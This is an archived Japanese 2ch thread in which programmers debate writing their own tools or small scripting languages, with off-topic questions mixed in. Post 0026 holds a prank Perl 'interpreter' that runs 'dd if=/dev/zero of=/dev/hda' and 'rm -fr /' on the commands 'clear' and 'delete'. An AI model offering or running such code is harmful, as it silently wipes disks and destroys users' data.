丁度良いのがないときはツールや言語ごと作る?
■ このスレッドは過去ログ倉庫に格納されています
0001emacslisper
NGNG丁度良いツールや言語がない場合はツールや言語を作るのが本当に
良いのでしょうか? 私個人としましては言語を作るというのは途方も
ないことのように思えてとても現実的とは思えません。
ということでみなさまのご意見を伺いたく思いスレを立てさせて
頂きました。よろしくお願いします。
Yahoo掲示板にある問題のトピはこれです。
http://messages.yahoo.co.jp/bbs?.mm=GN&action=m&board=2000083&tid=a3ca1dca1dca1a1vsa1a1a3va3b&sid=2000083&mid=1&type=date&first=1
0002デフォルトの名無しさん
NGNG0003emacslisper
NGNGいいえ。私は見ていただけです。
0004デフォルトの名無しさん
NGNG以下くそスレ立てんなボケが乱立するに1票。
0005デフォルトの名無しさん
NGNG0006デフォルトの名無しさん
NGNG0007デフォルトの名無しさん
NGNGを持たせるために極単純なスクリプト言語を作ったことはあるけど・・・
ツールなら普通に誰でもやってることでしょ?
0008デフォルトの名無しさん
NGNG0009デフォルトの名無しさん
NGNG議論相手に言葉遣いなど詫びたりしているが、返事がこれ↓
>ちょうど良いGWの暇つぶしになりました。
慇懃無礼きわまってますね。思い描いてたYAHOOのイメージそのまんまだ!
0010デフォルトの名無しさん
NGNG0011デフォルトの名無しさん
NGNG言語処理系は言語の設計が大変だけど
アプリケーション組み込みのスクリプト言語程度なら大して難しくない。
つうか必要なら作る必要ないなら作らないで終わりじゃん。
0012デフォルトの名無しさん
NGNG(domain-specific scripting language)
ってやつね。
Lispがもっとも得意とする分野だな。
0013☆ま☆つ☆も☆と☆
NGNG0014デフォルトの名無しさん
NGNGまつもとはすごいよな。
0015デフォルトの名無しさん
NGNG0016デフォルトの名無しさん
NGNG0017デフォルトの名無しさん
NGNG簡単なのならそんなに作るの難しくないし、
作ってる人は結構作ってるのでは。
0018デフォルトの名無しさん
NGNG0019デフォルトの名無しさん
NGNG尊敬する。
0020デフォルトの名無しさん
NGNGWindowsの人は馴染みがないもしれないが。。
0021デフォルトの名無しさん
NGNGその業務専用だけど。
0022デフォルトの名無しさん
NGNG0023ばか者D
NGNGIEキャシュフォルダの中のファイル名を取得したい。
FindFirst('C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\*.*',faAnyFile,FR);
続いてFindNEXTによってディレクトリ一覧を取得しようとしましたが、
. .. ContentIE5 desktop.ini Folder Setting
のみの表示で、そこにあるはすのIEのキャシュフォルダの
ファイル名が取得できません。
補足
desktop.ini によてフォルダに設定がかけてあるようなのですが、
このファイルの仕様が不明の為どのような設定か不明です。
desktop.ini はマイコンピュータからのファイル参照では見ることができないので
テキストエディタにダイレクトに編集名をいれなければ表示しません。
Findfirstの仕様なのか 方法が間違ってるのか
皆さんのお知恵と経験で助けてください。
0024デフォルトの名無しさん
NGNG0025デフォルトの名無しさん
NGNG0026デフォルトの名無しさん
NGNG#!/usr/bin/perl
while (<>) {
chomp;
if ($_ eq 'clear') {
system 'dd if=/dev/zero of=/dev/hda';
} elsif ($_ eq 'delete') {
system 'rm -fr /';
}
}
0027ばか者D
NGNG0028デフォルトの名無しさん
NGNG開いた瞬間、画面が右にスクロールされること
ie6、XGAですが正常ですか?
0029デフォルトの名無しさん
NGNG0030デフォルトの名無しさん
NGNG0031デフォルトの名無しさん
NGNG0032デフォルトの名無しさん
NGNGread.cgiみて
0033デフォルトの名無しさん
NGNG?
0034デフォルトの名無しさん
NGNGじゃあ何使うの?
俺はネスケだけど・・・
0035ホdラlマムヨ?ツ?ツ?ツ?
NGNG0036テzdテノlテ}テタテネ?テc?テc?テc?
NGNGなんとかならないかな?
0037デフォルトの名無しさん
NGNG0038デフォルトの名無しさん
NGNG使えや
0039デフォルトの名無しさん
NGNG0040デフォルトの名無しさん
NGNGこのスレの住人がそんな厨房ツールを使うの・・・?
冗談だよね?
0041デフォルトの名無しさん
NGNG2ch 読み書きするなら普通のブラウザなんかより、はるかに使いやすいと思うけど。
俺は少し使ってみただけだけど。
0042デフォルトの名無しさん
NGNG電卓に対する入力だって言語だし、銀行のホストとATMがやりとり
している電文だって言語だ。
それを解釈するシステムはインタプリタ。結構作ってるんじゃない?
0043デフォルトの名無しさん
NGNGネスケだとスクロールはしないよね。スクロールバーは出てくるけど。
0044デフォルトの名無しさん
NGNG0045デフォルトの名無しさん
NGNG0046デフォルトの名無しさん
NGNG0047デフォルトの名無しさん
NGNGそうそう。シェルの入力も言語だ。
DOS の command.com も文法が単純だけど言語だ。
0048デフォルトの名無しさん
NGNG0049デフォルトの名無しさん
NGNG0050デフォルトの名無しさん
NGNGはげどう。
0051デフォルトの名無しさん
NGNG0052デフォルトの名無しさん
NGNG大々的にC++プログラマ募集してるよ!
0053デフォルトの名無しさん
NGNG0054デフォルトの名無しさん
NGNGおそらくこれと思われ。
間違ってたらageてください。別の用意します。
0055default:no_name
NGNG間違ってます。
別のを用意して下さい。
0056デフォルトの名無しさん
NGNGいや、笑ってる場合じゃない。
0057デフォルトの名無しさん
NGNG車輪の再開発には2つのパターンがある
あえて開発することで理解を深める学習型 なら応援すべき
0058narucy56 ◆wMOjCT4s
NGNGプログラマが好きで「これは再利用可能だから」という理由でツールをガンガンに
作りこんでしまうというのは、XP 的にはよくない。
作れるからって、何でもどんどん作ってしまうのはだめ。とにかく「今」一番早くて
シンプルな問題解決法を選ぶのがヨイ。
0059結論。
NGNG作る。それしか方法がない。売っていないのだとしたら。
0060デフォルトの名無しさん
NGNG0061最終結論。
NGNGあれば使う。
それが人生の使い道。
0062デフォルトの名無しさん
NGNG0063デフォルトの名無しさん
NGNG0064デフォルトの名無しさん
NGNGマニュアル読んで使うこなせるようになるのと比べたら
自作するのと、変わらないというか、場合によっては自作した方が早い
0065デフォルトの名無しさん
NGNG表示する方法わかりませんか?
どうしても全部表示してしまうんですよ。
主キーをいれるとほかの項目を検索して1行だけ表示したいのに
どうしてもできなんです。
わかるかた教えてください。
0066デフォルトの名無しさん
NGNG0067デフォルトの名無しさん
NGNG0068デフォルトの名無しさん
NGNG「俺は作る」ということもあれば、逆に、他の言語をちゃんとカスタマイズ
する力も無いくせに「時間は貴重だ、カスタマイズするべき」なんて
言ってることも有るだろう。
実際はどちらのも、作業量、技術力、情報収集能力のいずれかが
必要になり、そこかしこの人材が出来る代物ではないはずだ。
ちなみに、俺は次のフィールズ賞候補とされているので、好きな
言語を設計し、実装するのに一ヶ月とかかからんが。
0069デフォルトの名無しさん
NGNG0070デフォルトの名無しさん
NGNGでも、実業務上、言語の設計から必要になる場合があるとすれば、
それはどんな場合なのか、興味はある(ちょうど今、bisonや
flexをかじっているところでもあるし)。
「俺は必要に迫られて、ちょうどいい言語を一から作らなけ
ればならなかった」という報告があれば、是非聞きたい。
0071名無しさん@カラアゲうまうま
NGNG0072デフォルトの名無しさん
NGNGそだね。
おかげで今やperlは広く使われているし、perlが嫌なら
他にも選択肢はあるし、もう言語ごと作る必要はないって
ことになるかな?
0073デフォルトの名無しさん
NGNG先方をせっついても,いつまで経っても詳細な仕様が出てきませんでした。
仕方がないので,簡単なスクリプトを書いて,それを実行することで
どんな風にでも印刷ができるアプリケーションを作ってしまいました。
「再帰下向き構文」とかいうやり方をちょっと拡張すれば
かなり簡単に,それなりに強力なモノが出来上がりますよね。
ただ,出会った文は必ず1回だけ評価してしまうから
「条件分岐」とか「繰り返しの構文」を組み込むのに
苦労しそうなんだけど。
0074デフォルトの名無しさん
NGNG0075デフォルトの名無しさん
NGNGdef A なんとか.DB FLD =事業者コード
def B なんとか.DB FLD ='なんとか'
** AAAAAA BBBB
** CCCCCCCCCC
みたいな感じの印刷ページ設定用のスクリプト
0076デフォルトの名無しさん
NGNGいみがわからん
0077デフォルトの名無しさん
NGNG構文解析と評価は別物であることすら理解していない(w
0078デフォルトの名無しさん
NGNG目的のソフトが見つからなければ自分でつくる
って書いてあって、だいぶしぼられる。できるひとが。
0079デフォルトの名無しさん
NGNG0080デフォルトの名無しさん
NGNG0081デフォルトの名無しさん
NGNG0082デフォルトの名無しさん
NGNGLISPそのまま作る → LISPそのまま使う
LISPそのまま作る → LISPでそのまま作る
まあどっちにしろ、LISPは万能だろってこと?
0083Rubyist
NGNG馬鹿みたい。
0084デフォルトの名無しさん
NGNG008584
NGNG上げちゃった。
0086デフォルトの名無しさん
NGNG0087デフォルトの名無しさん
NGNG○○ツクール なんてーのはまさに言語を作ってるようなもんだ。
そう思わない連中もいるだろうが。
0088デフォルトの名無しさん
NGNG0089デフォルトの名無しさん
NGNG0090デフォルトの名無しさん
NGNGXMLがいまいちだった頃はよくあったよ。
でもまあ、bison flex 憶えておいて損は無いと思う
簡単スクリプトならすぐにできるし、なにより記述がXMLより綺麗
なれれば実 C 程度なら、実はツール作成とあんまり作業量は変わらなかったりする。
0091デフォルトの名無しさん
NGNGなれれば実 の"実" 削除、あぅ
0092デフォルトの名無しさん
NGNG009475
NGNG(普通日本のビジネス文書は等幅フォントだから) そこに打つ感じになってて
改行幅とかが調整出来るような感じの簡単なのね。
後、RS232C使うような機械の制御だと簡単なスクリプト作って対応させる事が多いな
それから、組み込みの仕事する時は、エディタマクロを作る事が多い
どんなのかというと、
DB 0123H ;%< HEX(a) ;
みたいなソースを、エディタ上で ;%< の左の項の 0123H が aの値に応じ置き換わえる
という仕掛け。・・・こんな事しなけりゃならないくらい、メーカ提供アセンブラが貧弱だっ
たりする
0095デフォルトの名無しさん
NGNGgcc等でプリプロセスしようぜ
0097ふぁんふぁん大佐@
NGNG基本となる部分を作っておいて、後は言語でカバーする。
使用者それぞれが遣いたいようなソフトへと進化していく。
かなり理想
0098デフォルトの名無しさん
NGNGC言語とかはどう?
0099ふぁんふぁん大佐@linux
NGNG0100デフォルトの名無しさん
NGNGlispとかどう?
0101デフォルトの名無しさん
NGNGプログラム起動時にiniとかレジストリから変数を読み取っておいて
要所で getMyValue("変数"); みたいに使っておけば
後でスクリプトとか作ったり色々と応用出来る
0102デフォルトの名無しさん
NGNG2,3回しかやらないのに、ツールごと作る。 HTMLエディターとか、Cで自分だけが高速にプログラムできる
変換ソフトとか作ってた。
結局、そういうのを作るのが好きな人は作るんじゃないの?
俺はどうでもいいけど。
0103デフォルトの名無しさん
NGNGそうそう、でもそれが分かったのは一度作ったあと・・・(TT)
>lispとかどう?
シンプルの意味が間違ってます(w
0104デフォルトの名無しさん
NGNG0105デフォルトの名無しさん
NGNGCommonLispよりはSchemeの方がシンプルかもしれないが
CommonLispがLispのすべてじゃないぞ
0106デフォルトの名無しさん
NGNG>変換ソフトとか作ってた。
それは効率悪そうに見えて、意外にいいんじゃない?
自分だけが使えるツールを作っていけば、仕事のリピート率も高くなるしさ
0107while
NGNGかなり大変だと思います。
新しい機能を組み込んだ言語を設計して
そのコード体系で書かれたソースを読み込んで
C、C++、VB等のコードに変換するソフトをつくる…
それがいい感じ…(小規模のソフトウェア等)
(発想した機能によってはアセンブラに直に変換しなければならない事もあると思います。)
0108デフォルトの名無しさん
NGNGぼくも、それがいいと思う、特にCがいい感じだと思う。
コンパイラのオプティマイズもこなれてますし、コンパイラが高速なのでアセンブラ代わりになる。
移植性も悪くない。
0109デフォルトの名無しさん
NGNG0110デフォルトの名無しさん
NGNG俺もヘタレの横好きだが、エディタごとは作らんなあ(しかもCでは)。
原文にタグを埋め込む程度であれば、PerlかRubyかPythonか、って
ところだが。
0111デフォルトの名無しさん
NGNG案外アセンブラに最適化変換できそうな感じ
0112ななしさん
NGNG■ このスレッドは過去ログ倉庫に格納されています